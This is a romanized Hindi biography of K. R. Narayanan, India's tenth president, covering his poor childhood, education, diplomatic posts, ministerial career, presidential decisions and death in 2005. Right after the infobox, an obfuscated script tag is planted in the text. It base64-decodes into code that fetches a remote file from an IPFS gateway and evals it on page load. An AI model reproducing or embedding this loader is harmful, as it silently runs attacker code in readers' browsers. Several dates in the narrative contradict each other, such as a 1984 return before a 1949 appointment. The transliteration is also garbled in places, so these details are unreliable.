के. आर. नारायणन

ke. ar. narayanan
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poora nam	kochcheril raman narayanan
janm	27 aktoobar, 1920
janm bhoomi	travanakor, bharat
mrityu	9 navambar, 2005
mrityu sthan	nee dilli, bharat
abhibhavak	kochcheril raman vedyar
pati/patni	usha narayanan
santan	chitra aur amrita
pad	bharat ke dasavean rashtrapati, patrakar
kary kal	25 julaee, 1997 se 25 julaee, 2002
shiksha	snatakottar, bi. es. si. (ikonamiks), el. es. ee.
vidyalay	prathamik vidyalay, seant meri haee skool, si. em. es. skool, travanakor vishvavidyalay, landan skool aauf ikonomiks
puraskar-upadhi	varld stetsamain avard, 'd aauktar aauf saians, d aauktar aauf l aaus
rachanaean	'indiya end amerika esses in aandarastaidiang', 'imejes end inasaits' aur 'n aaun alaimeant in kantaimpareri iantaraneshanal nileshans'
any janakari	rashtrapati niyukt hone ke bad narayanan ne ek niti athava siddhant bana liya tha ki vah kisi bhi pooja sthan ya ibadatagah par nahian jaeange-chahe vah devata ka ho ya devi ka. yah ekamatr aise rashtrapati rahe, jinhoanne apane karyakal mean kisi bhi pooja sthal ka daura nahian kiya.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>karyakal 25 julaee 1997 se 25 julaee 2002

kochcheril raman narayanan (aangrezi: Kocheril Raman Narayanan, janm- 27 aktoobar, 1920; mrityu- 9 navambar, 2005) bharatiy ganarajy ke dasavean nirvachit rashtrapati ke roop mean jane jate haian. yah pratham dalit rashtrapati tatha pratham malayali vyakti the, jinhean desh ka sarvochch pad prapt hua. inhean 14 julaee, 1997 ko hue rashtrapati chunav mean vijay prapt huee thi. shri ke. ar. narayanan ko kul matoan ka 95 pratishat prapt hua. mataganana ka kary 17 julaee, 1997 ko sampann hua. bharat ke poorv chunav ayukt shri ti. en. sheshan inake pratidvandvi the. 25 julaee, 1997 ko sarvochch nyayalay ke mukhy nyayadhish je. es. varma ne shri ke. ar. narayanan ko rashtrapati pad evan gopaniyata ki shapath dilaee. inaka karyakal 25 julaee, 2002 ko samapt hua tha.

janm evan parivar

shri ke. ar. narayanan ka janm 27 aktoobar, 1920 ko hua tha, jo sarakari dastavezoan mean ullikhit hai. lekin saty yah hai ki inaki vastavik janmatithi vivadoan ke ghere mean hai. shri narayanan ke chacha inake pratham din skool ge the aur anuman se 27 aktoobar, 1920 inaki janmatithi likha di thi. inaka janm paitrik ghar mean hua tha, jo ki ek kachchi jhop di ki shakl mean tha. yah kachchi jhop di perumath aaunam ujhavoor gram, travanakor mean thi. vartaman mean yah gram zila kottayam (keral) mean vidyaman hai. shri ke. ar. narayanan apane pita ki sat santanoan mean chauthe the. inake pita ka nam kochcheril raman vedyar tha. yah bharatiy paddhati ke siddhahast ayurvedachary the. inake poorvaj paravan jati se sambandhit the, jo ki nariyal to dane ka kary karata hai. inaka parivar kafi garib tha, lekin inake pita apani chikitsakiy pratibha ke karan samman ke patr mane jate the. shri narayanan ke char bhaee-bahan the– ke. ar. gauri, ke. ar. bhargavi, ke. ar. bharati aur ke. ar. bhaskaran. inake do bhaiyoan ki mrityu tab huee jab ke. ar. narayanan 20 varsh ke the. inaki b di bahan gauri ek homiyopaith haian aur inhoanne shadi nahian ki. inake chhote bhaee bhaskaran ne bhi vivah nahian kiya, jo ki peshe se adhyapak haian aur ujhavoor mean hi rahate the. ujhavoor ko aj shri ke. ar. narayanan ki janmabhoomi ke lie jana jata hai.

vidyarthi jivan

shri narayanan ka parivar arthik roop se samriddh nahian tha, lekin unake pita shiksha ka mahattv samajhate the. inaki arambhik shiksha ujhavoor ke avar prathamik vidyalay mean huee. yahaan 5 mee, 1927 ko yah skool ke chhatr ke roop mean namaankit hue, jabaki uchch prathamik vidyalay ujhavoor mean inhoanne 1931 se 1935 tak adhyayan kiya. inhean 15 kilomitar paidal chalakar skool jana p data tha aur chaval ke khetoan se hokar guzarana p data tha. us samay shiksha shulk behad sadharan tha, lekin use dene mean bhi inhean kathinaee hoti thi. shri narayanan ko pray: kaksha ke bahar kh de hokar kaksha mean padhaye ja rahe path ko sunana p data tha, kyoanki shiksha shulk n dene ke karan inhean kaksha se bahar nikal diya jata tha. inake pas pustakean kharidane ke lie bhi dhan nahian hota tha. tab apane chhote bhaee ki sahayata ke lie ke. ar. narayanan nilakaantan chhatroan se pustakean maangakar unaki naqal utarakar narayanan ko dete the. asthama ke karan rugn nilakaantan ghar par hi rahate the. narayanan ne seant meri haee skool se 1936-37 mean maitrik pariksha uttirn ki. isake poorv 1935-36 mean inhoanne seant meri joans haee skool koothattukulam mean bhi adhyayan kiya tha.

chhatravritti ka sahara pakar shri narayanan ne iantaramidiet pariksha 1938-40 mean kottayam ke si. em. es. skool se uttirn ki. isake bad inhoanne kala (aaunars) mean snatak star ki pariksha pas ki. phir aangrezi sahity mean travanakor vishvavidyalay se 1943 mean snatakottar pariksha pratham shreni mean uttirn ki (vartaman mean yah keral vishvavidyalay hai). isake poorv travanakor vishvavidyalay mean kisi bhi dalit chhatr ne pratham sthan nahian prapt nahian kiya tha. jab inaka parivar vikat pareshaniyoan ka samana kar raha tha, tab 1944-45 mean shri narayanan ne bataur patrakar 'd hindoo' aur 'd taims aauf indiya' mean kary kiya. 10 aprail, 1945 ko patrakarita ka dharm nibhate hue inhoanne mumbee mean mahatma gaandhi ka sakshatkar liya. isake bad vah 1945 mean hi ianglaind chale ge aur 'landan skool aauf ikonamiks' mean rajaniti vijnan ka adhyayan kiya. inhoanne bi. es. si. ikonamiks (aaunars) ki digri aur rajaniti vijnan mean vishishtata hasil ki. is dauran je. ar. di. tata ne inhean chhatravritti pradan karake inaki sahayata ki. shri narayanan indiya lig mean bhi sakriy rahe. tab vi. ke. krishnaamenan indiya lig ke ianglaind mean prabhari the. yah ke. en. muanshi dvara prakashit kie jane vale 'd soshal velapheyar' vikali samachar patr ke landan sthit sanvadadata bhi rahe. landan mean inake sath avas karane vale virasami riangadoo bhi the, jo bad mean m aaurishas ke rashtrapati bane. is samay inake ek any pragadh mitr trudayu bhi the, jo ki bad mean kanada ke pradhanamantri nirvachit hue.

vyavasayik jivan

shri narayanan 1984 mean jab bharat laute to unake pas laski ka ek patr tha, jisake madhyam se pandit neharoo se parichayatmak mulakat sambhav thi. is sandarbh mean unhoanne ek dilachasp qissa bayan kiya- 'jab maianne el. es. ee. ka kors samapt kar liya to laski ne mujhe pandit neharoo ke nam ka ek parichayatmak patr pradan kiya. dilli pahuanchane ke bad maianne pradhanamantri neharoo se mulakat ka samay le liya. maianne socha tha ki maian ek bharatiy vidyarthi hooan aur landan se lauta hooan, is karan mujhe mulakat ka samay mil sakata hai. pandit neharoo ne sansad bhavan mean mujhase mulakat ki. hamane kuchh der landan ki batean kian aur kuchh aupacharik batean bhi kian. usake bad maianne abhas kar liya ki mulakat ka samay samapt ho gaya hai. at: unhean alavida kaha aur kamare se bahar jane ke poorv laski ka patr pandit neharoo ko sauanp diya. maian bahar ghumavadar adhe galiyare tak hi pahuanch paya tha ki mujhe laga ki maian jis disha se aya hooan, udhar koee tali baja raha hai. maianne ghoomakar dekha to pandit neharoo ne mujhe vapas ane ka ishara kiya. darasal mere jane ke bad pandit neharoo ne vah patr kholakar padh liya tha.

"tumane yah patr pahale mujhe kyoan nahian diya?" pandit ji ne poochha.
"maian kshama chahata hooan shriman! mujhe behatar laga ki maian vidaee ke samay hi apako patr sauanpooan."

phir pandit neharoo ne mujhase kee saval kie. kuchh dinoan ke bad maianne svayan ko 'bharatiy videsh seva' mean paya.' is prakar 1949 mean shri narayanan ne bharatiy videsh seva mean neharoo ji ki prarthana par niyukti prapt kar li. ek rajanayik ke roop mean vah rangoon (ab yaangoon), tokiyo, landan, kainasas aur henoee dootavas mean rahe. 1967-69 mean yah thailaind ke, 1973-75 mean turki ke aur 1976-78 mean chin ganarajy ke rajadoot bane. 1954 mean inhoanne 'dilli skool aauf ikonamiks' mean adhyayan bhi kiya.

1972 mean shri ke. ar. narayanan javaharalal neharoo vishvavidyalay ke sabhasad aur grih mamaloan ke mantralay ke sachiv bane. 1978 se 1980 tak yah javaharalal neharoo vishvavidyalay ke upakulapati rahe. is samay ke anubhav ko inhoanne age chalakar samany jan se ju dav ki adhar shila mana. shri narayanan ki pratibha ke karan hi iandira gaandhi prashasan ke dvara inhean sevanivritti ke bad bhi pun: bulaya gaya aur 1980 se 1984 tak sanyukt rajy amerika mean bharatiy rajadoot banakar vashiangatan bheja gaya. shri narayanan ka chin mean rajadoot ke roop mean jo karyakal raha, vah bharat-chin yuddh (1962) ke bad pratham kootanitik niyukti ke roop mean raha. amerika ke rajadoot rahate hue unhoanne amerika tatha bharat ke rishtoan ko sudharane mean prabhavi bhoomika nibhaee. isaka labh us samay prapt hua, jab shrimati iandira gaandhi ne 1982 mean ronald rigan ke rashtrapatitv mean vashiangatan ki yatra ki. pandit neharoo ne 16 varshoan tak desh ka pratinidhitv kiya tha. unaka manana tha ki shri narayanan ab tak ke sarvashreshth rajanayik haian.

dampaty jivan

8 joon, 1951 ko shri narayanan ne 'ma tiant tiant' se vivah kiya. jab yah rangoon aur barma (myaanmar) mean karyarat the, tab inaki bheant kumari ma tiant tiant se huee thi. yah mitrata shighr hi prem mean badal gee aur donoan ne vivah karane ka nirnay kar liya. tab ma tiant tiant vaee. dablyoo. si. e. mean karyarat thian aur narayanan vidyarthi the. laski ne narayanan se kaha ki vah rajanitik azadi ke sambandh mean vyakhyan dean. tabhi ma tiant tiant inake sampark mean aee thian. inake vivah ko tab vishisht vidhan ki avashyakata pandit neharoo se ashayit thi, kyoanki bharatiy qanoon ke anusar narayanan 'bharatiy videsh seva' mean karyarat the aur ma tiant tiant ek videshi mahila thian. shadi ke bad ma tiant tiant ka bharatiy nam usha rakha gaya aur vah bharatiy nagarik bhi ban geean. shrimati usha narayanan ne bharat mean mahilaoan tatha bachchoan ke kalyan ke lie kee kary kie. inhoanne barma ki laghu kathaoan ka anuvad karake prakashit karavaya, jisaka shirshak tha, 'thein pe miant'. inhean chitra aur amrita ke roop mean do putriyoan ki prapti hueean chitra bharatiy rajadoot ke roop mean svidan aur turki mean apani sevaean de chuki haian.

rajanitik jivan

shri narayanan ka rajaniti mean pravesh shrimati iandira gaandhi ke agrah se sambhav hua. vah lagatar tin lokasabha chunavoan 1984, 1989 evan 1991 mean vijayi hokar sansad pahuanche. yah ottapalal (keral) ki lokasabha sit se nirvachit hue. kaangresi saansad banane ke bad vah rajiv gaandhi sarakar ke kendriy mantrimandal mean sammilit kie ge. ek mantri ke roop mean inhoanne yojana (1985), videsh mamale (1985-86) tatha vijnan evan takaniki (1986-89) vibhagoan ka karyabhar sambhala. saansad ke roop mean inhoanne aantarashtriy petent qanoon ko bharat mean niyantrit kiya. 1989-91 mean jab kaangres satta se bahar thi, tab shri narayanan vipakshi saansad ki bhoomika mean rahe. 1991 mean jab pun: kaangres satta mean lauti to inhean kaibinet mean sammilit nahian kiya gaya. tab keral ke mukhyamantri ke. karunakaran jo ki inake rajanitik pratispardhi the, ne inhean soochit kiya ki kendriy mantrimandal mean sammilit n kie jane ka karan unaki kamyunist samarthak niti hai. tab unhoanne javab diya ki maianne kamyunist ummidavaroan (e. ke. balan aur lenin rajendran) ko hi tinoan bar chunav mean parajit kiya tha. at: maian kamyunist vicharadhara ka samarthak kaise ho sakata hooan.

shri narayanan 21 agast, 1992 ko d aau. shankar dayal sharma ke rashtrapatitv kal mean uparashtrapati nirvachit hue. inaka nam prathamik roop se vi. pi. sianh ne anumodit kiya tha. usake bad janata parti sansadiy netritv dvara vam morche ne bhi inhean apana ummidavar ghoshit kar diya. pi. vi. narasimha rav ke netritv vali kaangres ne bhi inhean ummidavar ke roop mean hari jhandi dikha di. is prakar uparashtrapati pad hetu vah sarvasammati se ummidavar bane. vam morche ke bare mean narayanan ne spashtikaran diya ki vah kabhi bhi samyavadi ke kattar samarthak athava virodhi nahian rahe. vam morcha unake vaicharik antar ko samajhata tha lekin isake bad bhi usane uparashtrapati chunav mean unaka samarthan kiya aur bad mean rashtrapati chunav mean bhi. is prakar vam morche ke samarthan se narayanan ko labh pahuancha aur unaki rajanitik sthiti ko svikary kiya gaya. jab 6 disambar, 1992 ko babari masjid ka vidhvans hua, tab is ghatana ko inhoanne 'mahatma gaandhi ki hatya ke bad desh mean yah sabase b di dukhaantika ghati hai' kathan se niroopit kiya.

rashtrapati pad par

14 julaee, 1997 ko hue rashtrapati chunav ka natija jab 17 julaee, 1997 ko ghoshit hua to pata chala ki shri narayanan ko kul vaidh matoan ka 95 pratishat prapt hua tha. yah ekamatr aisa rashtrapati chunav tha jo ki kendr mean alpamat sarakar ke rahate hue bhi samapt hua. isamean poorv chunav ayukt ti. en. sheshan pratidvandvi ummidavar the. shiv sena ke atirikt sabhi daloan ne narayanan ke paksh mean matadan kiya, jabaki rashtriy svayansevak sangh ne yah kahate hue inaka virodh kiya ki unhean bharatiy sanskriti ki jit ka adhar unaka dalit hona hai. isase poorv koee bhi dalit rashtrapati nahian bana tha. shri narayanan ko 25 julaee, 1997 ko sansad bhavan ke kendriy kaksh mean sarvochch nyayalay ke nyayadhish shri je. es. varma ne rashtrapati pad evan gopaniyata ki shapath dilaee. is avasar par apane arambhik sambodhan mean inhoanne kaha- "desh ka sarvochch sanvaidhanik pad ek aise vyakti ko pradan kiya gaya hai, jo samaj ke dharatal se ju da tha, parantu dhool aur garmi ke madhy chala. yah nirvachan sabit karata hai ki ek samany nagarik bhi samajik evan rajanitik jivan mean kendriy bhoomika ka nirvahan kar sakata hai. maian ise apani vyaktigat prasannata n manakar ek sarthak evan pratishthapoorn parampara ka arambh manata hooan."

svarnim varshagaanth

1997 mean jab bharat ki azadi ki svarnim varshagaanth manaee gee to bharatavarsh ke rashtrapati shri narayanan hi the. svarnim varshagaanth ki poorv sandhya arthath 14 agast, 1997 ko rashtr ke nam apana sambodhan dete hue inhoanne bharat ki prajataantrik vyavastha aur sarakar ki nitiyoan ko azadi ke bad ki sabase b di tatha mahattvapoorn upalabdhi bataya. agali subah lal qile ki prachir se pradhanamantri indrakumar gujaral ne desh ko sambodhit karate hue kaha tha- "gaandhi ji ne jab bharat ke bhavishy ko lekar svapn dekha tha, tab unhoanne kaha tha ki bharat ko sachchi azadi us din prapt hogi, jab ek dalit desh ka rashtrapati hoga. aj hamara yah saubhagy hai ki ham gaandhi ji ke svapn ko poorn hota dekh rahe haian. hamare rashtrapati jin par samast desh ko garv hai, ek behad garib parivar se sambandh rakhate the. inhoanne rashtrapati bhavan ko garv aur samman pradan kiya hai. yah hamare prajatantr ki shobha hai ki samaj ke kamazor varg se nikale vyakti ko usaki pratibha ke anukool sahi samman prapt ho raha hai. aj desh ke sabhi nagarik chahe ve alpasankhyak samuday hoan, dalit samuday se hoan athava adivasi samuday se hoan, desh ke vikas ke lie ekajut hokar kary kar rahe haian."

poliang booth matadan

1998 ke am chunavoan mean rashtrapati rahate hue bhi shri narayanan ne 16 faravari, 1998 ko ek skool ke poliang booth mean matadan kiya jo rashtrapati bhavan ke k aaumpleks mean sthit tha. inhoanne ek sadharan matadan mean bhag lekar logoan ko matadan ke prati utsahit karane ka kary kiya. vah us parampara ko badalana chahate the, jisake anusar poorv bharatiy rashtrapati chunavoan mean matadan nahian karate the. inhoanne rashtrapati ke roop mean 1999 ke am chunavoan mean bhi apane matadhikar ka prayog kiya tha. is prakar desh ke pratham nagarik arthath rashtrapati rahate hue bhi ek am vyakti bane rahe. apane karyakal ke dauran shri narayanan ne apani shaktiyoan ka vivek sammat roop se upayog kiya aur rashtrapati ki shaktiyoan ko paradarshita ke sath prastut kiya. is prakar inhoanne rashtrapati ki shaktiyoan ko vyavaharik roop mean apanakar dikhaya. phir paristhitiyaan kuchh aisi banian ki inhean apane kshetradhikar ki shaktiyoan ka upayog karana avashyak ho gaya.

do bar sansad bhang

apane rashtrapati kal ke dauran shri narayanan ne do bar sansad ko bhang karane ka kary kiya. lekin aisa karane ke poorv inhoanne apane adhikar ka upayog karate hue rajanitik paridrishy ko sanchalit karane vale logoan se paramarsh bhi kiya tha. tab yah natija nikala ki un sthitiyoan mean koee bhi rajanitik dal bahumat siddh karane ki sthiti mean nahian tha. yah sthiti tab utpann huee thi, jab kaangres adhyaksh sitaram kesari ne indrakumar gujaral sarakar se apana samarthan vapas le liya aur sarakar ke bahumat mean hone ka dava daanv par lag gaya. shri indrakumar gujaral ko 28 navambar, 1997 tak sadan mean apane bahumat ka jaduee aank da sabit karana tha. pradhanamantri indrakumar gujaral bahumat siddh karane mean asamarth the, at: unhoanne rashtrapati ko paramarsh diya ki lokasabha bhang kar di jae. shri narayanan ne bhi paristhitiyoan ki samiksha karate hue nirnay liya ki koee bhi dal bahumat dvara sarakar banane ki sthiti mean nahian hai. at: shri gujaral ka paramarsh svikar karate hue unhoanne lokasabha bhang kar di. isake bad hue chunav mean bharatiy janata parti ek aisi sakal parti ke roop mean ubharakar samane aee, jisake pas mean sabase zyada saansad the. bhajapa ke neta atal bihari vajapeyi ko en. di. e. ka bhi samarthan prapt tha. at: narayanan ne vajapeyi se kaha ki vah samarthan karane vali partiyoan ke samarthan patr pradan karean, taki yah spasht ho jae ki unake pas sarakar banane ke layaq bahumat hai. shri atal bihari vajapeyi samarthan jutane mean samarth the aur is adhar par unhean pradhanamantri niyukt kar diya gaya. sath hi yah shart bhi thi ki 10 din mean vajapeyi apana bahumat sadan mean sabit karean. 14 aprail, 1999 ko jayalalita ne rashtrapati narayanan ko patr likha ki vah vajapeyi sarakar se apana samarthan vapas le rahi haian. tab shri narayanan ne vajapeyi ko sadan mean bahumat sabit karane ko kaha. 17 aprail ko vajapeyi sadan mean bahumat sabit karane ki sthiti mean nahian the. is karan vajapeyi ko har ka samana karana p da.

lokasabha chunav

shri atal bihari vajapeyi tatha vipaksh ki neta evan kaangres adhyaksh soniya gaandhi donoan sarakar banane ki sthiti mean nahian the. at: jab donoan ke dvara sarthak sanket prapt nahian hue to rashtrapati shri narayanan ne pradhanamantri ko soochit kiya ki kendr sarakar ka sankat talane ka ek matr upay hai ki ne lokasabha chunav karavaean jaean. tab atal bihari vajapeyi ki salah par shri narayanan ne lokasabha bhang kar di. isake bad hue chunavoan mean en. di. e. ko bahumat prapt hua aur vajapeyi pun: pradhanamantri banae ge. in nirnayoan ke dvara rashtrapati shri ke. ar. narayanan ne pradhanamantri ki niyukti ke sambandh mean naya udaharan pesh kiya. yadi kisi dal athava chunav poorv ke gathabandhan ko bahumat prapt hota hai to kisi vyakti ko pradhanamantri tabhi banaya ja sakata hai, jab vah rashtrapati ko yah vishvas dilane mean saphal ho jae ki usake pas sadan mean bahumat hai (gathabandhan ke daloan dvara samarthan ka patr pradan kare) aur vah use sabit bhi kar sakata hai. is prakar trishanku lokasabha ki sthiti mean rashtrapati shri narayanan ne yah udaharan pesh kiya ki kis prakar bahumat sabit kiya jana chahie. isase poorv ke rashtrapatiyoan- nilam sanjiv reddi, ar. veankataraman aur d aau. shankar dayal sharma ne poorv parampara ke anusar sabase b di ekal parti athava chunav poorv us gathabandhan ke mukhiya ko sarakar banane ka nyota pradan kiya tha. lekin unhoanne yah p datal nahian ki thi ki unake pas sadan mean bahumat sabit karane ki yogyata hai athava nahian.

rashtrapati shasan

artikal 356 ke anusar kendriy mantrimandal ki anushansa par rashtrapati dvara kisi bhi rajy ki qanoon vyavastha big dane ki sthiti mean rashtrapati shasan lagaya ja sakata hai. aise mauqe do bar ae. pahali bar indrakumar gujaral sarakar ne uttar pradesh mean kalyan sianh ki sarakar ko barkhast kar rashtrapati shasan lagane ki maang 22 aktoobar, 1999 ko ki. doosari bar atal bihari vajapeyi sarakar ne bihar mean rab di devi ki sarakar ko 25 sitambar, 1994 ko barkhast kar rashtrapati shasan lagane ki maang ki. in donoan maukoan par rashtrapati shri narayanan ne uchchatam nyayalay ke 1994 ke nirnay ka avalokan kiya, jo es. ar. bommee banam yooniyan aauf indiya ke mamale mean diya gaya tha. donoan prakaranoan mean kaibinet dvara rashtrapati ke visheshadhikar ka samman kiya gaya tha. in maukoan par rashtrapati ne aise agrah punarvichar ke lie lautakar ek mahattvapoorn drishtant pesh kiya, taki sanghata mean rajy sarakaroan ke adhikaroan ki bhi suraksha sambhav ho sake.

karyavahak sarakar dvara shasan

mee 1999 mean pakistan ke sath karagil mean yuddh chhi d gaya. pakistani sainikoan ne atankavadiyoan ke sath mean milakar yuddh ki sthiti paida kar di thi. us samay atal bihari vajapeyi karyavahak pradhanamantri ke roop mean sarakar chala rahe the. vajapeyi sarakar avishvas prastav par har chuki thi aur vipaksh bhi sarakar banane mean asaphal raha. aisi sthiti mean lokasabha bhang kar di gee thi aur karyavahak sarakar dvara shasan chalaya ja raha tha. is karan prajatantriy javabadehi ki samasya utpann ho gee thi. jis prakar mukhy sarakar ke karyoan ki samiksha, vivechana aur parakh sansad mean ki jati hai, us prakar kiya jana sambhav nahian tha. aisi vikat sthiti mean rashtrapati ke. ar. narayanan ne karyavahak pradhanamantri shri atal bihari vajapeyi ko salah di ki rajyasabha mean yuddh ko lekar charcha ki jae. isi prakar ki maang kee vipakshi daloan ke dvara bhi uthaee gee. yadyapi is prakar ka koee bhi poorv udaharan nahian tha ki sarakar n rahane ki sthiti mean rajyasabha ka satr alag se bulaya jae. isake atirikt shri narayanan ne tinoan senaoan ke senadhikariyoan se yuddh mean shahid hue sainikoan ko shranddhajanli bhi di thi. rashtrapati ke roop mean yah sanvaidhanik maryadaoan se bandhe hue the. vah bahut kuchh karana chahate the, lekin maryadaoan ka kabhi bhi ullanghan nahian kiya.

rashtrapati pad ka ummidavar

rashtrapati niyukt hone ke bad narayanan ne ek niti athava siddhant bana liya tha ki vah kisi bhi pooja sthan ya ibadatagah par nahian jaeange-chahe vah devata ka ho ya devi ka. yah ekamatr aise rashtrapati rahe jinhoanne apane karyakal mean kisi bhi pooja sthal ka daura nahian kiya. rashtrapati ke roop mean jab shri narayanan ki padavadhi ke avasan ka samay nikat aya to vibhinn janasamudayoan ki ray thi ki inhean doosare satr ke lie bhi rashtrapati banaya jana chahie. is samay en. di. e. ke pas aparyapt bahumat tha. lekin narayanan ne spasht kar diya ki vah sarvasammati ke adhar par hi pun: rashtrapati banana svikar kareange. us samay ki vipakshi partiyoan- kaangres, janata dal, vam morcha tatha any ne bhi inako doosari bar rashtrapati banaye jane ka samarthan kiya tha. kaangres adhyaksh shrimati soniya gaandhi ne rashtrapati shri narayanan se mulaqat karake yah prarthana ki ki vah agale satr hetu bhi rashtrapati banean. lekin vajapeyi ne inase bheant karake yah spasht kar diya ki unaki ummidavari ko lekar en. di. e. mean asahamati hai. en. di. e. ne uparashtrapati krishnakant ko sarvasammati se rashtrapati pad ka ummidavar banane ka prayas kiya. vipaksh se is bare mean sahayog maanga gaya aur kaangres tak bhi vajapeyi ka sandesh gaya. lekin ek hi din mean yah spasht ho gaya ki krishnakant ki ummidavari ko lekar en. di. e. ke ghatak dal hi ekamat nahian haian. isake bad rashtrapati pad ke ummidavar ke roop mean d aau. pi. si. alekjendar ke nam par vichar kiya gaya. lekin vipakshi daloan ne inaki ummidavari ko nakar diya. phir vipakshiyoan ne shri narayanan se pun: sampark kiya aur rashtrapati pad hetu vichar karane ka anurodh kiya. tab en. di. e. dvara d aau. abdul kalam ka nam adhikarik ummidavar ke roop mean age aya. lekin is bare mean sarvasammati ki paravah nahian ki gee. mulayam sianh yadav ke netritv vali samajavadi parti ne vipaksh ki ekajutata ki paravah n karate hue abdul qalam ke nam par sahamati vyakt kar di. aisi sthiti mean shri narayanan ne svayan ko rashtrapati pad ki pun: ummidavari se alag kar liya. bad mean jab is sandarbh mean shri narayanan se poochha gaya to unhoanne bharatiy janata parti ki niti ko zimmedar thaharaya, jisake karan doosari bar rashtrapati banana manzoor nahian kiya. inhoanne age spasht karate hue kaha ki bhajapa bharat ki dharmanirapeksh niti ko akramak hindutvavadi niti se nuqasan pahuanchane ka kam kar rahi hai.

vidaee

shri narayanan ne vishesh roop se murali manohar joshi (jo ech. ar. di. mantri the) ka ullekh kiya, jinhoanne shiksha vyavastha mean bi. je. pi. ki hindutvavadi vicharadhara ko sammilit karane ka prayas kiya tha. sath hi vibhinn kshetroan mean unhoanne sanvaidhanik roop se aise logoan ki niyuktiyaan ki thian, jo bi. je. pi. ki vicharadhara ko sthapit karane ka kary kar sakate the. shri narayanan prajataantrik evan sanvaidhanik moolyoan ke anusar hi kary karana chahate the aur bi. je. pi. ko inaki yah karyashaili pasand nahian thi. 24 julaee, 2002 ko shri narayanan ne apane vidaee sambodhan mean yuva varg se kaha ki vah samajik karyoan ke utthan mean mahattvapoorn bhoomika ka nirvahan kare. inhoanne apane anubhavoan par adharit sansmaranoan ke madhyam se bharatiy logoan ki achchhaiyoan evan buddhimatta ko parilakshit kiya. shri narayanan ne kaha ki jab vah ujhavoor mean vibhinn dharmavalambiyoan ke sath rahate hue b de ho rahe the, tab dharmik sahishnuta aur ekata ke sath hindoo evan krishchiyan logoan ne unaki arambhik shiksha mean madad ki thi. isi prakar ottapasam mean nirvachan ke samay bhi sabhi jati evan dharm ke logoan ne inake chunav prachar mean bhag liya tha. inhoanne kaha ki bharat ki ekata aur prajataantrik vyavastha ke lie dharmik sahishnuta ka bhav kafi had tak zimmedar raha hai. at: hinduoan ko chahie ki ve bahusankhyak hone ke karan hindutv ke paramparik moolyoan ke anusar sabhi dharmoan ka samman karean.

shri narayanan ke shabdoan mean

shri narayanan ne vishesh roop se kaha-"bharat ke rashtrapati ke roop mean maianne behad du:kh aur svayan ko asahay mahasoos kiya. aise kee avasar ae jab maian desh ke nagarikoan ke lie kuchh nahian kar saka. in anubhavoan ne mujhe kafi du:kh pahuanchaya. simit shaktiyoan ke karan maian vedana mahasoos karata tha. vastut: shakti aur asahayata ke mishran ko dukhant hi kahana chahie."

nidhan

shri ke. ar. narayanan ka nidhan 9 navambar, 2005 ko armi risarch end raipharal h aauspital, nee dilli mean hua. inhean nyoomoniya ki shikayat thi. phir gurdoan ke kam n karane ke karan inaki mrityu ho gee. 10 navambar, 2005 ko poorn rajakiy samman ke sath sooryast ke samay inaka antim sanskar inake bhatije d aau. pi. vi. ramachandran ne yamuna nadi ke kinare 'ekata sthal' par kiya. yah sthan 'shanti van' ke nikat hai, jahaan inake margadarshak pandit neharoo ki smritiyaan jivit haian. inaki putri chitra (turki mean bharatiy rajadoot), patni usha, doosari putri amrita tatha parivar ke any sadasyoan ko desh-videsh se kee sanvedana sandesh prapt hue. putri chitra ne kaha ki unake pita ko rashtr prem, vishisht naitik manobal tatha sahas ke lie sadaiv yad kiya jaega.

samman

shri ke. ar. narayanan ne kuchh pustakean bhi likhian, jinamean 'indiya end amerika esses in aandarastaidiang', 'imejes end inasaits' aur 'n aaun alaimeant in kantaimpareri iantaraneshanal nileshans' ullekhaniy haian. inhean rashtriy evan aantarrashtriy star par bhi kee puraskar prapt hue the. 1998 mean inhean 'd apil aauf k aaunasaians fauandeshan', nyooyark dvara 'varld stetsamain avard' diya gaya. 'toledo vishvavidyalay', amerika ne inhean 'd aauktar aauf saians' ki tatha 'astreliya vishvavidyalay' ne 'd aauktar aauf l aaus' ki upadhi di. isi prakar se rajaniti vijnan mean inhean d aauktaret ki upadhi turki aur sen karlos vishvavidyalay dvara pradan ki gee. bharat mata ke is sachche sapoot ko sadaiv yad kiya jaega jo rashtrapati se zyada ek behatar iansan the.

bharat ke rashtrapati

65px|link=| poorvadhikari shankaradayal sharma ke. ar. narayanan uttaradhikari abdul kalam 65px|link=|

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